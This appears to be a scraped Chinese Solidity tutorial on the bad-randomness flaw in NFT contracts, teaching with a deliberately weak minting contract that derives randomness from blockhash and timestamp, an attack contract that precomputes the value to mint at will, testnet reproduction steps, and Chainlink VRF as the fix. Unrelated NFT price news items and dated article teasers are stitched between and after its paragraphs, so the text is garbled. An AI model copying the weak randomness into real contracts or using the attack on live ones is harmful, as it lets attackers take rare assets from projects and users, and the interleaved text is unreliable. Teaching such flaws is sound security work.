我最近在重新学solidity,巩固一下细节,也写一个“WTFSolidity极简入门”,供小白们使用,每周更新1-3讲。
这一讲,我们将介绍智能合约的坏随机数漏洞和预防方法,这个漏洞经常在NFT和GameFi中出现,包括Meebits,Loots,WolfGame等。
伪随机数
很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明且确定性的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如blockhash()和keccak256()方法。
坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读WTFSolidity极简教程第39讲:伪随机数。
goblintown.wtf系列NFT地板价跌幅达10.26%:金色财经消息,NFTGo.io数据显示,goblintown.wtf系列NFT总市值为1.01亿美元,24小时交易额达121.78万美元,跌幅为24.84%。目前地板价达5.5ETH,24小时跌幅为10.26%。[2022/6/8 4:09:45]
坏随机数案例
下面我们学习一个有坏随机数漏洞的NFT合约:BadRandomness.sol。
OpenSea上Goblintown.wtf NFT系列地板价达到8ETH:6月2日消息,据OpenSea数据,目前Goblintown.wtf NFT系列地板价今日最高涨至9ETH,目前为8ETH,近7日交易量逾13135枚ETH,累计交易量为21800枚ETH。[2022/6/2 3:58:52]
contract?BadRandomness?is?ERC721?{????uint256?totalSupply;????//?构造函数,初始化NFT合集的名称、代号????constructor()?ERC721("",?""){}????//?铸造函数:当输入的?luckyNumber?等于随机数时才能mint????function?luckyMint(uint256?luckyNumber)?external?{????????uint256?randomNumber?=?uint256(keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp)))?%?100;?//?get?bad?random?number????????require(randomNumber?==?luckyNumber,?"Better?luck?next?time!");????????_mint(msg.sender,?totalSupply);?//?mint????????totalSupply++;????}}
goblintown.wtf NFT系列地板价突破8ETH,24小时交易额排名达到第一:金色财经消息,据OpenSea数据显示,goblintown.wtf NFT系列地板价突破8ETH,目前为8.2ETH,24小时的交易额为4997.18ETH,24小时交易额在OpenSea排名达到第一。[2022/6/2 3:58:03]
它有一个主要的铸造函数luckyMint(),用户调用时输入一个0-99的数字,如果和链上生成的伪随机数randomNumber相等,即可铸造幸运NFT。伪随机数使用blockhash和block.timestamp声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。
下面我们写个攻击合约Attack.sol。
contract?Attack?{????function?attackMint(BadRandomness?nftAddr)?external?{????????//?提前计算随机数????????uint256?luckyNumber?=?uint256(????????????keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp))????????)?%?100;????????//?利用?luckyNumber?攻击????????nftAddr.luckyMint(luckyNumber);????}}
goblintown.wtf NFT系列地板价突破5ETH:金色财经消息,据OpenSea数据显示,goblintown.wtf NFT系列地板价突破5ETH,目前为5.5ETH,24小时的交易额为2808.75ETH,24小时交易额在OpenSea排名达到第二。[2022/6/1 3:56:12]
攻击函数attackMint()中的参数为BadRandomness合约地址。在其中,我们计算了随机数luckyNumber,然后将它作为参数输入到luckyMint()函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。
Remix复现
由于Remix自带的RemixVM不支持blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。
部署BadRandomness合约。
部署Attack合约。
将BadRandomness合约地址作为参数传入到Attack合约的attackMint()函数并调用,完成攻击。
调用BadRandomness合约的balanceOf查看Attack合约NFT余额,确认攻击成功。
预防方法
我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如ChainlinkVRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读WTFSolidity极简教程第39讲:伪随机数。
总结
这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT和GameFi项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
社区:Discord|微信群|官网wtf.academy
所有代码和教程开源在github:?github.com/AmazingAng/WTFSolidity
来源:bress
作者:中国银行软件中心刘昱均李昀李凯DeFi,全称为DecentralizedFinance,即“去中心化金融”或者“分布式金融”.
1900/1/1 0:00:00Web3社交协议LensProtocol最新获得FTXVentures投资,详解Lens协议如何将所有权归于用户、新用户如何进入Lens生态并进行产品交互.
1900/1/1 0:00:00原文作者:SBF原文编译:0x214&czgsws,Blockbeats我很抱歉,这是我最想说的。我搞砸了,我本可以做得更好。我应该在最近这段时间里将我的想法多去传递出来.
1900/1/1 0:00:00头条▌?CZ:清算FTT是吸取LUNA教训11月7日消息,Binance首席执行官赵长鹏在社交媒体上称,“清算FTT只是后期退出的风险管理,也是吸取了此前LUNA的教训.
1900/1/1 0:00:00撰文:DODO研究院10月20日,随着Celestia公布了由BainCapitalCrypto和PolychainCapital领投的新一轮融资后,模块化公链再次成为了人们讨论的热点之一.
1900/1/1 0:00:00StarkNet代币发布在即。11月16日StarkNet开发公司StarkWare在推特上表示,StarkNet的ERC-20代币合约已部署至以太坊,但StarkNet基金会仍需要时间来确定代.
1900/1/1 0:00:00